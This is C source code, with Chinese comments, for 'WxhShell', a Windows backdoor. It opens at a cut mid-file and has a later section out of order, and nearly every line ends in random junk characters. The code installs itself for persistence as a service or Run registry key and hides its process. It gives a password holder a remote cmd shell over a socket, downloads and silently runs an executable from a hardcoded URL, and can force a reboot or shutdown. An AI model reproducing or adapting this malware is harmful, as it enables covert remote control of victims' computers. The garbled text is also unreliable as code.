    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  Z;j/K  
    if(Boot(SHUTDOWN)) ||{T5E-.F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5YTb7M  
    else { *} *!+C3  
    closesocket(wsh); QQ^Gd8nQ  
    ExitThread(0); L~*|,h  
    } xQNw&'|UU  
    break; _dYf  
    } P3wU#qU  
  // 获取shell ShL1'Z} ^{  
  case 's': { X[GIOPDx  
    CmdShell(wsh); VZT6;1TD$8  
    closesocket(wsh); 1&X}1  
    ExitThread(0); u#a%(  
    break; A0cM(w{7_  
  } 936Ff*%(l  
  // 退出 4c5^7";P  
  case 'x': { avu*>SB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ij;==f~G  
    CloseIt(wsh); x !#Ma  
    break; ]k[ Q]:q  
    } 8BYIxHHz  
  // 离开 .DgoOo%?"  
  case 'q': { e={k.y }x}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yPf?"W  
    closesocket(wsh); ! 6p>P4TT  
    WSACleanup(); o|z+!,  
    exit(1); Q  `e~MD  
    break; & cM u/}  
        } c8^+^.=pX  
  } `FZ(#GDF  
  } K)<Wm,tON  
b\SXZN)Be  
  // 提示信息 {c v;w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6V'wQqJ  
} QRsqPh&-  
  } ;Ri 3#*a=  
~v.jZ/h  
  return; ~mN g[]  
} ?ada>"~GR_  
@+}rEe_(  
// shell模块句柄 r5f^WZ$-  
int CmdShell(SOCKET sock) +IwdMJ8&8  
{ Xtuhcdzu[  
STARTUPINFO si; Hnfvo*6d.e  
ZeroMemory(&si,sizeof(si)); T6sr/<#<(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kVV\*"9y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fC=fJZU7$  
PROCESS_INFORMATION ProcessInfo; <T(s\N5B=  
char cmdline[]="cmd"; =}~NRmmF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^7i^ \w0  
  return 0; $cRcap  
} [Z#+gh  
Of1IdE6~  
// 自身启动模式 pBlRd{#fL  
int StartFromService(void) (3e;"'k  
{ WuBmdjZ  
typedef struct * <B)Z  
{ yr FZ~r@-  
  DWORD ExitStatus; *D\0.K,o  
  DWORD PebBaseAddress; p G)9=X!9  
  DWORD AffinityMask; pwa.q  
  DWORD BasePriority; _L$)2sl1R  
  ULONG UniqueProcessId; TF BYY{Y  
  ULONG InheritedFromUniqueProcessId; T&?w"T2y  
}   PROCESS_BASIC_INFORMATION; $-m@KB  
9uuta4&uI  
PROCNTQSIP NtQueryInformationProcess; i?ZA x4D  
/)sDnJ1r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; * eA{[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gh2#-~|cB  
%GM>u2baw  
  HANDLE             hProcess; ^$e0t;W=  
  PROCESS_BASIC_INFORMATION pbi; ' be P  
u8 |@|t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C>AcK#-x,{  
  if(NULL == hInst ) return 0; Z+Kv+GmqH  
%p<$|'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CT|z[^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _GE=kw;:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +#0~:&!9  
u@AI&[Z  
  if (!NtQueryInformationProcess) return 0; {?w"hjy  
MKomq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E|Q{]&$;Z"  
  if(!hProcess) return 0; S  <2}8D  
AnRlH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _o\>V:IZ  
KA`0g=  
  CloseHandle(hProcess); [}{w  
I!61 K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y [4vRzc  
if(hProcess==NULL) return 0; 4S'[\ZJO  
E3y6c)<  
HMODULE hMod; U?^OD  
char procName[255]; lco~X DI  
unsigned long cbNeeded; ^SEc./$  
])eOa%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U9x4j_.q  
pfR"s:#  
  CloseHandle(hProcess); +eU`H[iu  
?2/uSG|  
if(strstr(procName,"services")) return 1; // 以服务启动 * nLIXnm  
<}&7 a s  
  return 0; // 注册表启动 y7>iz6N  
} w2k<)3 g~  
-<xyC8 $^$  
// 主模块 :MK=h;5Z  
int StartWxhshell(LPSTR lpCmdLine) B#1:Y;Z  
{ "<qEXX  
  SOCKET wsl; b9`iZ  
BOOL val=TRUE; Jth=.9mrM  
  int port=0; hBjVe?{  
  struct sockaddr_in door; i^R{Ul[  
vT%qILTrQf  
  if(wscfg.ws_autoins) Install(); ;8BA~,4l  
{wcO[bN  
port=atoi(lpCmdLine); juH wHt  
K|US~Hgv  
if(port<=0) port=wscfg.ws_port; #hpIyy%n  
F#B5sLNb  
  WSADATA data; sA3UeTf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k'g$2  
p<q].^M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AfN&n= d K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  O)OUy  
  door.sin_family = AF_INET; 21 ViHV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7 %3<~'v[  
  door.sin_port = htons(port); *_ PPrx5  
m#*h{U$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ("OAPr\2dw  
closesocket(wsl); vm|!{5l:=y  
return 1; W,DZ ;). %  
} WK*S4c  
R+d< fe  
  if(listen(wsl,2) == INVALID_SOCKET) { w(Gz({l+  
closesocket(wsl); kymn)Ea  
return 1; aV<^IxE;  
} xHHV=M2l(s  
  Wxhshell(wsl); &-=K:;x  
  WSACleanup(); "NKf0F  
U~wjR"='  
return 0; JIMWMk;ot  
o*-9J2V=J  
} -3` "E%9  
N};t<Xev  
// 以NT服务方式启动 qJ 95  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BMpF02Y|4  
{ .A(i=!{q  
DWORD   status = 0; |:N>8%@6c  
  DWORD   specificError = 0xfffffff; ocwE_dR{  
+1/b^Ac  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +qhnP$vIe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mpAHL(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ./7v",#*.'  
  serviceStatus.dwWin32ExitCode     = 0; Sl"BK0:%7  
  serviceStatus.dwServiceSpecificExitCode = 0; K^aj@2K{  
  serviceStatus.dwCheckPoint       = 0; nS.2C>A  
  serviceStatus.dwWaitHint       = 0; 9KyZEH;pY  
BRa{\R^I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9_UN.]  
  if (hServiceStatusHandle==0) return; +bUW!$G  
ab@=cL~^  
status = GetLastError(); mB`D}g$  
  if (status!=NO_ERROR) lufeieW  
{ L<=)@7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ETO$9}x[  
    serviceStatus.dwCheckPoint       = 0; @(>XOj?+  
    serviceStatus.dwWaitHint       = 0; [zQ WyDu  
    serviceStatus.dwWin32ExitCode     = status; T9?54r  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3 z=\ .R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v,jhE9_O0  
    return; =U"dPLax  
  } f`?0WJ(M  
#uKWuGz]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H2U:@.o2&  
  serviceStatus.dwCheckPoint       = 0; 3$_*N(e  
  serviceStatus.dwWaitHint       = 0; Z(; AyTXA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Xu22f Kh  
} ?}8IQxU  
# $~ oe"  
// 处理NT服务事件,比如:启动、停止 cIb4-TeV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M|8 3HTJ  
{ W Y:s gG  
switch(fdwControl) 6G}c1nWU  
{ B.*"Xfr8  
case SERVICE_CONTROL_STOP: 1"YpO"Rh  
  serviceStatus.dwWin32ExitCode = 0; AF$\WWrB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K &dT(U  
  serviceStatus.dwCheckPoint   = 0; DW|vMpU]u  
  serviceStatus.dwWaitHint     = 0; kiX%3(  
  { gu<V (M\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \[ M_\&GC  
  } $;`I,k$0>~  
  return; =X@o@1  
case SERVICE_CONTROL_PAUSE: f-D>3qSS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p411 `]Zf  
  break; jct./arK  
case SERVICE_CONTROL_CONTINUE: :Q7mV%%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X;VQEDMPU  
  break; OH6n^WKY  
case SERVICE_CONTROL_INTERROGATE: .6m_>Y6  
  break; f{ ^:3"i  
};  iSiDSeW8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rwgsXS8W6  
} YeyGN  
lhO2'#]i  
// 标准应用程序主函数 Pl78fs"L@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]?&FOzN5$P  
{  D:JS)+]  
/:p8I6;  
// 获取操作系统版本 :1;Q(9:v  
OsIsNt=GetOsVer(); %K1")s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bfdVED  
p/*"4-S  
  // 从命令行安装 _a5(s2wq+  
  if(strpbrk(lpCmdLine,"iI")) Install(); p `P~i&_  
mCdgKr|n  
  // 下载执行文件 e&1 \'Zq?>  
if(wscfg.ws_downexe) { Mu2`ODe]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BJ5}GX!  
  WinExec(wscfg.ws_filenam,SW_HIDE); BQ#L+9%  
} E\$C/}T  
0^&!6R  
if(!OsIsNt) { Cj^{9'0  
// 如果时win9x,隐藏进程并且设置为注册表启动 >qh?L#Fk  
HideProc(); ]tY:,Mfs  
StartWxhshell(lpCmdLine); Cv^`&\[SW+  
} 6ep>hS4A&  
else Yb:pAzw6  
  if(StartFromService()) :(p )1=I  
  // 以服务方式启动 r}W2Ak\  
  StartServiceCtrlDispatcher(DispatchTable); _~M^ uW^l  
else +S9PML){h  
  // 普通方式启动 8omC%a}9m  
  StartWxhshell(lpCmdLine); 2"&)W dm  
wa:0X)KC?  
return 0; Nfn(Xn*J-  
} Ik~1:D]f  
!p[`IWZ  
op@i GC+  
&leK}je [  
=========================================== DDeE(E  
50n}my'2h  
z-,VnhLx  
a$JLc a  
\ZH&LPAY  
qZ X/@Yxz  
" DC:)Ysuj  
~uj;qq  
#include <stdio.h> ir[jCea,  
#include <string.h> 8)wt$b  
#include <windows.h> s9j7Psd  
#include <winsock2.h> PDP[5q r  
#include <winsvc.h> "A[ b rG  
#include <urlmon.h> |d}MxS`^  
2UadV_s+s  
#pragma comment (lib, "Ws2_32.lib") _MfD   
#pragma comment (lib, "urlmon.lib") k \qiF|B)Z  
NlF}{   
#define MAX_USER   100 // 最大客户端连接数 'q{733o  
#define BUF_SOCK   200 // sock buffer Vrp[r *V@E  
#define KEY_BUFF   255 // 输入 buffer 'C>U=cE7  
]R IVc3?;$  
#define REBOOT     0   // 重启 xf,5R9g/  
#define SHUTDOWN   1   // 关机 W?XizTW  
`G$1n#&  
#define DEF_PORT   5000 // 监听端口 ,1 UZv>}S  
Qa`hR  
#define REG_LEN     16   // 注册表键长度 `<fh+*  
#define SVC_LEN     80   // NT服务名长度 +j[oEI`e  
Z|* !y]We  
// 从dll定义API $_X|, v9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 23ze/;6%A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f3tv3>p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); * fc-gAj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c&'JmKV>&  
%f ju G  
// wxhshell配置信息 z#Nl@NO&  
struct WSCFG { F n|gVR  
  int ws_port;         // 监听端口 ]v29 Rx  
  char ws_passstr[REG_LEN]; // 口令 uTvv(f  
  int ws_autoins;       // 安装标记, 1=yes 0=no K_/B?h  
  char ws_regname[REG_LEN]; // 注册表键名 SO?8%s(   
  char ws_svcname[REG_LEN]; // 服务名 m{%t?w$Au  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;4#D,zlO^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +K$NAT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C)RBkcb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e@]Wh)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pa<qZZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #kmh:P  
_GoVx=t   
}; KL?)akk  
Pz"`MB<'Ik  
// default Wxhshell configuration (pR.Abq  
struct WSCFG wscfg={DEF_PORT, \\4Eh2 Y  
    "xuhuanlingzhe", A74920X`W  
    1, ,|T7hTn=  
    "Wxhshell", BavO\{J#|0  
    "Wxhshell", SpSnoVI  
            "WxhShell Service", b=[?b+  
    "Wrsky Windows CmdShell Service", 0$vj!-Mb^j  
    "Please Input Your Password: ", E~hzh /,34  
  1, slW3qRT\k  
  "http://www.wrsky.com/wxhshell.exe", q6q1\YB  
  "Wxhshell.exe" Y)I8eU{Wl(  
    }; KeBQH8A1N  
*nTU# U  
// 消息定义模块 8im@4A+n`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &h~aChJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MXvXVhCU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;%!m<S|%k  
char *msg_ws_ext="\n\rExit."; [rY T  
char *msg_ws_end="\n\rQuit."; YJF#)TkF  
char *msg_ws_boot="\n\rReboot..."; `,>wC+}  
char *msg_ws_poff="\n\rShutdown..."; 2#5,MP~r  
char *msg_ws_down="\n\rSave to "; nCxAQ|P?  
"$^0%-  
char *msg_ws_err="\n\rErr!"; } :?.>#  
char *msg_ws_ok="\n\rOK!"; " Ar*QJ0]  
!K0JV|-?t  
char ExeFile[MAX_PATH]; <vc`^Q&4B  
int nUser = 0; 3I=kr  
HANDLE handles[MAX_USER]; XhW %,/<  
int OsIsNt; H AB#pd9  
$#NQ <3  
SERVICE_STATUS       serviceStatus; F} DUEDND*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eiMH['X5  
6[dur'x  
// 函数声明 ,^s  
int Install(void); )R)a@op  
int Uninstall(void); 40P) 4w  
int DownloadFile(char *sURL, SOCKET wsh); 4FMF|U  
int Boot(int flag); c6AWn>H  
void HideProc(void); ]$iN#d|ZU  
int GetOsVer(void); d^D i*&X  
int Wxhshell(SOCKET wsl); 6XV<? 9q  
void TalkWithClient(void *cs); pa]"iZz  
int CmdShell(SOCKET sock); ~oD8Rnf  
int StartFromService(void); SW?p?<  
int StartWxhshell(LPSTR lpCmdLine); E l&h;N   
P`SnavQBt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /!&R9!6 :  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]]iPEm"@  
WQePSU  
// 数据结构和表定义 }iN2KeLAF  
SERVICE_TABLE_ENTRY DispatchTable[] = 9@VO+E$7L  
{ 3.R#&Zxt  
{wscfg.ws_svcname, NTServiceMain}, _D!g4"  
{NULL, NULL} x5si70BKC/  
}; tbDoP Y  
E+xuWdp.*  
// 自我安装 pw020}`  
int Install(void) i^"+5Eq[D  
{ U9d:@9Y  
  char svExeFile[MAX_PATH]; &*,:1=p  
  HKEY key; c| ~6Ie  
  strcpy(svExeFile,ExeFile); e 9$C#D> D  
%Z]'!X  
// 如果是win9x系统,修改注册表设为自启动 d5j_6X  
if(!OsIsNt) { h#}YKWL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { arZ@3]X%a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,TC;{ $O5  
  RegCloseKey(key); x8#ODuH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SAv<&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `k{& /]  
  RegCloseKey(key); \c`oy=qY0  
  return 0; Es5p}uh.[Y  
    } 8\ha@&p  
  } QBJ3iQs1  
} j6}R7 $JR  
else { ZU&"73   
fZWGn6$   
// 如果是NT以上系统,安装为系统服务 rXi uwz\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TCVl8)j  
if (schSCManager!=0) E@)\Lc~  
{ C*70;:b  
  SC_HANDLE schService = CreateService dKhA$f~  
  ( C*6S@4k  
  schSCManager, 5_o$<\I\  
  wscfg.ws_svcname,  b`mj_b  
  wscfg.ws_svcdisp, *JCQu0  
  SERVICE_ALL_ACCESS, *wbZ;rfF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8cg`7(a  
  SERVICE_AUTO_START, j5 wRGn3  
  SERVICE_ERROR_NORMAL, W  0[N0c  
  svExeFile, Uu p(6`7  
  NULL, keAcKhj  
  NULL, }E^S]hdvz  
  NULL, X=X\F@V:u  
  NULL, $ItF])Bj5N  
  NULL HL{$ ^l#v  
  ); r4 dOK] 0  
  if (schService!=0) I*[tMzE  
  { V9 }t0$LN  
  CloseServiceHandle(schService); |1= !;.#  
  CloseServiceHandle(schSCManager); T5lQIr@a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xycH~ ?  
  strcat(svExeFile,wscfg.ws_svcname); Z+:D)L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [Gr*,nVvB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y6HuN  
  RegCloseKey(key); Bstk{&ew  
  return 0; $So%d9k  
    } +{`yeZ9S  
  } w=b(X q+:  
  CloseServiceHandle(schSCManager); XAOak$(j  
} @Cq? :o<  
} L):U"M>]=  
=v6*|  
return 1; Lm)\Z P+W  
} 5MxL*DB=b  
@$@mqHI}  
// 自我卸载 %,*$D} H  
int Uninstall(void) 3NK ^AaTK  
{ q`|CrOzO  
  HKEY key; < a rZbM  
&x:JD1T}  
if(!OsIsNt) { ztM<J+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  :S %lv  
  RegDeleteValue(key,wscfg.ws_regname); ;."<m   
  RegCloseKey(key); WT3gNNx|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ),^eA  
  RegDeleteValue(key,wscfg.ws_regname); 6iezLG 5  
  RegCloseKey(key); PFSLyV*  
  return 0; W=}Okq)x9I  
  } /!FWuRe^  
} EmVuwphv  
} F 8yF  
else { Al"3 kRJJ  
}E <^gAh}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x ,/TXTZ6  
if (schSCManager!=0) Ps[$.h  
{ YrI|gz)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R""%F#4XJ2  
  if (schService!=0) %uESrc-;  
  { *e.*=$  
  if(DeleteService(schService)!=0) { V-O(U*]  
  CloseServiceHandle(schService); CX/(o]  
  CloseServiceHandle(schSCManager); D}mL7d1  
  return 0; &wH:aD  
  } |lQ;ALH!  
  CloseServiceHandle(schService); {kB `>VS  
  } G&{HTYP  
  CloseServiceHandle(schSCManager); &&8'0 .M{  
} M7}Q=q\9  
} |!z2oO  
cL7g}$W $  
return 1; mS=r(3#  
} _cqy`p@"  
}6zbT-i  
// 从指定url下载文件 &vUq}r%P  
int DownloadFile(char *sURL, SOCKET wsh) 'JmBh@A  
{ q ojXrSb"y  
  HRESULT hr; ^J=hrYGA  
char seps[]= "/"; 6o&ZIYJ9k  
char *token; oh8L`=>&a  
char *file; dJ3IUe  
char myURL[MAX_PATH]; {[G`Z9]z&-  
char myFILE[MAX_PATH]; $K}. +`vVO  
vn').\,P2O  
strcpy(myURL,sURL); %n?vJ#aX%  
  token=strtok(myURL,seps); ?s%v0cF  
  while(token!=NULL) +=@^i'  
  { '"YYj$> '  
    file=token; 7v~j=Z>  
  token=strtok(NULL,seps); 'VnwG  
  } c=p=-j=.J  
T.&7sbE_  
GetCurrentDirectory(MAX_PATH,myFILE); XJ\hd,R   
strcat(myFILE, "\\"); 8QgA@y"  
strcat(myFILE, file); xh9qg0d  
  send(wsh,myFILE,strlen(myFILE),0); I+?hG6NM  
send(wsh,"...",3,0); rs8\)\z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B&KL2&Z~Pq  
  if(hr==S_OK) {ShgJ ;! Q  
return 0; f4t.f*#  
else Un=a fX?j  
return 1; +Ghi}v  
r#876.JK  
} y=N"=Z  
Q4'C;<\@(Q  
// 系统电源模块 dDcZ!rRaL@  
int Boot(int flag) =yi OJyx  
{ %CH6lY=lI  
  HANDLE hToken; ]?l{j  
  TOKEN_PRIVILEGES tkp; 0%C^8%(x  
C 0C0GqN,  
  if(OsIsNt) { H'g?llh1J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4cgIEw[6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0irr7Y  
    tkp.PrivilegeCount = 1; =]>%t]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4*H"Z(HP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >%%=0!,yX  
if(flag==REBOOT) { X T>('qy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xF8S*,#,*  
  return 0; I}0_nge  
} J1F{v)T '?  
else { NP t(MFK \  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m2bDHQ+  
  return 0; 6qp5Xt+  
} I44s(G1j l  
  } wz(K*FP  
  else { 440FhD Mj  
if(flag==REBOOT) { pWaPC /,g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *o?i:LE]  
  return 0; Fz"ff4Bx [  
} f05d ;  
else { #gZ|T M/h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~ 9M!)\~  
  return 0; ;IP~Tb]&  
} [~%`N*G  
} &w\ I<J`T  
yXfMzG  
return 1; o#hI5  
} KX+ey8@[  
H#(<-)j0_  
// win9x进程隐藏模块 2W$lQ;iO  
void HideProc(void) SG]K   
{ T_hV%   
!C&%T]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z5)eREi=  
  if ( hKernel != NULL ) R 1zC.m  
  { 7>.OVh<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ! q6hC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `lCuU~~ag  
    FreeLibrary(hKernel); I0w%8bs  
  } Gp2!xKgm  
lgD]{\O$ip  
return; 8I#D`yVKc  
} +<(a}6dt  
aC\4}i<  
// 获取操作系统版本 NB)t7/Us  
int GetOsVer(void) F? ]N8W  
{ g:~+P e  
  OSVERSIONINFO winfo; TipHV;|e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %v=!'?VT  
  GetVersionEx(&winfo); #+jUhxq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zJl_ t0  
  return 1; ,x#ztdvr  
  else McP.9v}H0_  
  return 0; "sbBe73 m  
} Lo`F  
4M`Xrfwm'[  
// 客户端句柄模块 `iYc<N`  
int Wxhshell(SOCKET wsl) :t$A8+A+0  
{ {8CWWfHCD  
  SOCKET wsh; &=w|vB)(p  
  struct sockaddr_in client; z^`]7i  
  DWORD myID; r_o<SH  
f_<Y\  
  while(nUser<MAX_USER) |rPAC![=  
{ `BT^a =5  
  int nSize=sizeof(client);  )U98  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aqL<v94wX  
  if(wsh==INVALID_SOCKET) return 1; YKx 1NC  
Jt=>-Spj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bymny>.M  
if(handles[nUser]==0) WYO\'W  
  closesocket(wsh); OgMI  
else +VOb  
  nUser++; w-rOecwFvu  
  } #+G`!<7/@f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e-6(F4  
[m#NfA:h,  
  return 0; xs1bxJ_R  
} [j0w\{  
JMsHK,(  
// 关闭 socket %zljH"F  
void CloseIt(SOCKET wsh) n7iE8SK|k  
{ U$J5r+>  
closesocket(wsh); I:&# U$  
nUser--; $c =&0yt5  
ExitThread(0); oyvtZ/@  
} mxL;;-  
TzF0/T!  
// 客户端请求句柄 *.8:'F  
void TalkWithClient(void *cs) *8-p7,D  
{ otnV-7)@  
0vckoE  
  SOCKET wsh=(SOCKET)cs; P9yw&A  
  char pwd[SVC_LEN]; #s^s_8#&e  
  char cmd[KEY_BUFF]; mQ,{=C=D  
char chr[1]; Xp^$ E6YFy  
int i,j; :~-i&KNk  
Xw(3j)xQ  
  while (nUser < MAX_USER) { 2f{kBD  
AU`OESSI  
if(wscfg.ws_passstr) { 7A0dl}:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O5MDGg   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B9W/bJ6%  
  //ZeroMemory(pwd,KEY_BUFF); "::9aYd!  
      i=0; ~d+O/:=K_  
  while(i<SVC_LEN) { .0 X$rX=  
lC{L6&T  
  // 设置超时 04\Ta  
  fd_set FdRead; ..$>7y}  
  struct timeval TimeOut; a7 )@BzF#  
  FD_ZERO(&FdRead); R0IF'  
  FD_SET(wsh,&FdRead); M,G8*HI"  
  TimeOut.tv_sec=8; ` ,-STIh)  
  TimeOut.tv_usec=0; x!+Z{x   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  ;MZbL)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1.dX)^\  
ZbyG*5iq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >w2f8tW`PP  
  pwd=chr[0]; sL mW\\kA>  
  if(chr[0]==0xd || chr[0]==0xa) { bL MkPty  
  pwd=0; L8D m9}  
  break; 3N3*`?5c<  
  } \E&thp  
  i++; Zh? V,39  
    } jrcc  
Rk{$S"8S_  
  // 如果是非法用户,关闭 socket T>5wQYh$'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JU2P%3  
} VO|u8Z"  
P2QRvn6v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ir+8:./6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "i(U  
_Q^y_f  
while(1) { W U0UG$o`  
)u Qvt-  
  ZeroMemory(cmd,KEY_BUFF); ChVY Vx(  
i6A$1(:h  
      // 自动支持客户端 telnet标准   4K'|DO|dH  
  j=0; ZmP1C`>  
  while(j<KEY_BUFF) { o{g@Nk'f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VLx T"]f  
  cmd[j]=chr[0]; iz(m3k:w  
  if(chr[0]==0xa || chr[0]==0xd) {  %|bN@@  
  cmd[j]=0; 7_7xL(F/  
  break; 9JXhHAxD  
  } `>y[wa>9r  
  j++; 8(uw0~GO  
    } K)N)IZ1q  
_-(z@  
  // 下载文件 /O_0=MLp  
  if(strstr(cmd,"http://")) { +>^[W~[2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xpz`))w  
  if(DownloadFile(cmd,wsh)) qs "s/$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6T]Q.\5BZ  
  else rr>IKyI'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nDF&EE  
  } W=F3XYS  
